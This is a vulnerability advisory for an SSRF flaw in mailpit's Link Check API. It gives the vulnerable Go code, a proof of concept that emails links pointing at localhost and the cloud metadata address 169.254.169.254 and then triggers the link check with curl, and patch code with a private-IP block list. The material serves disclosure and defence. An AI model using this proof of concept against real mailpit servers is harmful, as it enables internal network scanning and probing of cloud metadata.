# CVE-2026-27808: mailpit SSRF — Fixed in 1.29.2

🐹

🐹 Go

Not in CISA KEV

MEDIUM severity

# CVE-2026-27808 — mailpit

MEDIUM [Fix: axllent/mailpit@10ad4df](https://github.com/axllent/mailpit/commit/10ad4df8cc0cd9e51dea1b4410009545eef7fbf5)

CVE-2026-27808 is a medium-severity (CVSS 5.8) Server-Side Request Forgery (SSRF) vulnerability in github.com/axllent/mailpit. A fix is available for github.com/axllent/mailpit — see the affected versions and patch details below.

Mailpit is Vulnerable to Server-Side Request Forgery (SSRF) via Link Check API

Also known as[GHSA-mpf7-p9x7-96r3](/vulnerability/GHSA-mpf7-p9x7-96r3)GO-2026-4558

Published

Feb 25, 2026

Updated

Oct 28, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Nov 3, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

## Exploitation Status

### Proof-of-concept exploit code exists

-   CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
-   CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-27808.

## EPSS Exploitation Probability

[via FIRST.org ↗](https://www.first.org/epss/)

0.5%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs45th percentile — riskier than 45% of all scored CVEsHighest risk

0.00%0.35%0.70%1.06%0.1%0.5%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/).

## How urgent is this, really

## Where this sits among everything scored

## Real-World Exposure

1 pkg affected

🐹`github.com/axllent/mailpit`

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

## Description

#### Summary

The Link Check API (/api/v1/message/{ID}/link-check) is vulnerable to Server-Side Request Forgery (SSRF). The server performs HTTP HEAD requests to every URL found in an email without validating target hosts or filtering private/internal IP addresses. The response returns status codes and status text per link, making this a non-blind SSRF. In the default configuration (no authentication on SMTP or API), this is fully exploitable remotely with zero user interaction.

This is the same class of vulnerability that was fixed in the HTML Check API (CVE-2026-23845 / GHSA-6jxm-fv7w-rw5j) and the screenshot proxy (CVE-2026-21859 / GHSA-8v65-47jx-7mfr), but the Link Check code path was not included in either fix.

#### Details

The doHead() function in [https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/status.go#L59-L98](https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/status.go#L59-L98) creates a plain http.Transport{} and http.Client with no DialContext hook or IP validation:

```
  func doHead(link string, followRedirects bool) (int, error) {
      timeout := time.Duration(10 * time.Second)
      tr := &http.Transport{}
      // ...
      client := http.Client{
          Timeout:   timeout,
          Transport: tr,
          // ...
      }
      req, err := http.NewRequest("HEAD", link, nil)
      // ...
      res, err := client.Do(req)  // No IP validation — requests any URL
      return res.StatusCode, nil
  }
```

The call chain is:

1.  GET /api/v1/message/{ID}/link-check hits LinkCheck() in [https://github.com/axllent/mailpit/blob/v1.29.0/server/apiv1/other.go#L84](https://github.com/axllent/mailpit/blob/v1.29.0/server/apiv1/other.go#L84)
2.  Which calls linkcheck.RunTests() in [https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/main.go#L16](https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/main.go#L16)
3.  Which extracts all URLs from the email's HTML (<a href>, <img src>, <link href>) and text body, then passes them to getHTTPStatuses() in [https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/status.go#L14](https://github.com/axllent/mailpit/blob/v1.29.0/internal/linkcheck/status.go#L14)
4.  Which spawns goroutines calling doHead() for each URL with no filtering

There is no check anywhere in this path to block requests to loopback (127.0.0.0/8), private (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), link-local (169.254.0.0/16), or IPv6 equivalents (::1, fc00::/7, fe80::/10).

#### PoC

Prerequisites: Mailpit running with default settings (no auth flags). A listener on 127.0.0.1:8081 simulating an internal service.

Step 1 — Start a listener to prove the SSRF:

`python3 -m http.server 8081 --bind 127.0.0.1`

Step 2 — Send a crafted email via SMTP:

```
  swaks --to recipient@example.com \
        --from attacker@example.com \
        --server localhost:1025 \
        --header "Content-Type: text/html" \
        --body '<html><body><a href="http://127.0.0.1:8081/ssrf-proof">click</a><a
  href="http://169.254.169.254/latest/meta-data/">metadata</a></body></html>'
```

Step 3 — Get the message ID:

`curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r '.messages[0].ID'` Or use the shorthand ID latest.

Step 4 — Trigger the link check:

`curl -s http://localhost:8025/api/v1/message/latest/link-check | jq .`

Expected result:

-   The Python HTTP server on port 8081 logs a HEAD /ssrf-proof request from Mailpit.
-   The API response contains the status code and status text for each internal target:

```
  {
    "Errors": 0,
    "Links": [
      {"URL": "http://127.0.0.1:8081/ssrf-proof", "StatusCode": 200, "Status": "OK"},
      {"URL": "http://169.254.169.254/latest/meta-data/", "StatusCode": 200, "Status": "OK"}
    ]
  }
```

\-- This behavior can be identified by creating a email txt file as

```
cat email.txt > 
From: sender@example.com
To: recipient@example.com
Subject: Email Subject

This is the body of the email.
It can contain multiple lines of text.
http://localhost:8408
```

-   Start a Python server on port 8408
    
-   execute the command `mailpit sendmail < email.txt`
    
-   Observe a request to your python server and link status on the UI as OK
    

The attacker now knows both internal services are reachable and gets their exact HTTP status codes, this allows internal port scanning

#### Impact

Who is impacted: Any Mailpit deployment where an attacker can both send email (SMTP) and access the API. This includes the default configuration, which binds both services to all interfaces with no authentication.

What an attacker can do:

-   Internal network scanning — Enumerate hosts and open ports on the internal network by reading status codes and error messages (connection refused vs. timeout vs. 200 OK).
-   Cloud metadata access — Reach cloud provider metadata endpoints (169.254.169.254) and infer sensitive information from response codes.
-   Service fingerprinting — Identify what services run on internal hosts from their HTTP status codes and response behavior.
-   Bypass network segmentation — Use the Mailpit server's network position to reach hosts that are not directly accessible to the attacker.

This is a non-blind SSRF: the attacker gets direct, structured feedback (status code + status text) for every URL, making exploitation straightforward without any timing or side-channel inference.

#### Remediation

Then standard Go library can be used to identify a local address being requested and deny it.

```
func isBlockedIP(ip net.IP) bool {
        return ip.IsLoopback() ||
                ip.IsPrivate() ||
                ip.IsLinkLocalUnicast() ||
                ip.IsLinkLocalMulticast() ||
                ip.IsUnspecified() ||
                ip.IsMulticast()
  }

  - IsLoopback() — 127.0.0.0/8, ::1
  - IsPrivate() — 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, fc00::/7
  - IsLinkLocalUnicast() — 169.254.0.0/16, fe80::/10 (covers cloud metadata 169.254.169.254)
  - IsLinkLocalMulticast() — 224.0.0.0/24, ff02::/16
  - IsUnspecified() — 0.0.0.0, ::
  - IsMulticast() — 224.0.0.0/4, ff00::/8
```

And the safe dialer that uses it:

```
 func safeDialContext(dialer *net.Dialer) func(ctx context.Context, network, address string) (net.Conn, error) {
        return func(ctx context.Context, network, address string) (net.Conn, error) {
                host, port, err := net.SplitHostPort(address)
                if err != nil {
                        return nil, err
                }

                ips, err := net.DefaultResolver.LookupIPAddr(ctx, host)
                if err != nil {
                        return nil, err
                }

                for _, ip := range ips {
                        if isBlockedIP(ip.IP) {
                                return nil, fmt.Errorf("blocked request to private/reserved address: %s (%s)", host, ip.
                        }
                }

                return dialer.DialContext(ctx, network, net.JoinHostPort(ips[0].IP.String(), port))
        }
  }
```

Then the doHead() change — replace the bare transport with one that uses the safe dialer, and re-validate URLs on redirect hops:

```
  func doHead(link string, followRedirects bool) (int, error) {
        if !isValidLinkURL(link) {
                return 0, fmt.Errorf("invalid URL: %s", link)
        }

        dialer := &net.Dialer{
                Timeout:   5 * time.Second,
                KeepAlive: 30 * time.Second,
        }

        tr := &http.Transport{
                DialContext: safeDialContext(dialer),
        }

        if config.AllowUntrustedTLS {
                tr.TLSClientConfig = &tls.Config{InsecureSkipVerify: true} // #nosec
        }

        client := http.Client{
                Timeout:   10 * time.Second,
                Transport: tr,
                CheckRedirect: func(req *http.Request, via []*http.Request) error {
                        if len(via) >= 3 {
                                return errors.New("too many redirects")
                        }
                        if !followRedirects {
                                return http.ErrUseLastResponse
                        }
                        if !isValidLinkURL(req.URL.String()) {
                                return fmt.Errorf("blocked redirect to invalid URL: %s", req.URL)
                        }
                        return nil
                },
        }

        req, err := http.NewRequest("HEAD", link, nil)
        if err != nil {
                logger.Log().Errorf("[link-check] %s", err.Error())
                return 0, err
        }

        req.Header.Set("User-Agent", "Mailpit/"+config.Version)

        res, err := client.Do(req)
        if err != nil {
                if res != nil {
                        return res.StatusCode, err
                }
                return 0, err
        }

        return res.StatusCode, nil
  }

  func isValidLinkURL(str string) bool {
        u, err := url.Parse(str)
        return err == nil && (u.Scheme == "http" || u.Scheme == "https") && u.Hostname() != ""
  }

```

This fix should mitigate the reported SSRF.

## Affected Packages

1 total 1 fixed

Ecosystem

Package

Vulnerable range

Fix

🐹Go

`github.com/axllent/mailpit` 

all versions

1.29.2`go get github.com/axllent/mailpit@v1.29.2`

## Affected Products

1 product · 1 configurations

Application

`mailpit`axllent

< 1.29.2

range

## Detection & mitigation playbook

Open-source dependency

1.  ### Detect
    
    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/axllent/mailpit, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
    
2.  ### Fix
    
    Update github.com/axllent/mailpit to 1.29.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-27808 is resolved across your whole dependency graph.
    
3.  ### Workarounds
    
    Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.
    

## Frequently Asked Questions

\### Summary The Link Check API (/api/v1/message/{ID}/link-check) is vulnerable to Server-Side Request Forgery (SSRF). The server performs HTTP HEAD requests to every URL found in an email without validating target hosts or filtering private/internal IP addresses. The response returns status codes and status text per link, making this a non-blind SSRF. In the default configuration (no authentication on SMTP or API), this is fully exploitable remotely with zero user interaction. This is the same class of vulnerability that was fixed in the HTML Check API (CVE-2026-23845 / GHSA-6jxm-fv7w-rw5j) a

O3 Security · Impact-Aware SCA

### Is CVE-2026-27808 in your dependencies?

Find it across Go, including transitive dependencies.

[Scan my dependencies](/book-demo) [How O3 SCA works](/impact-aware-sca)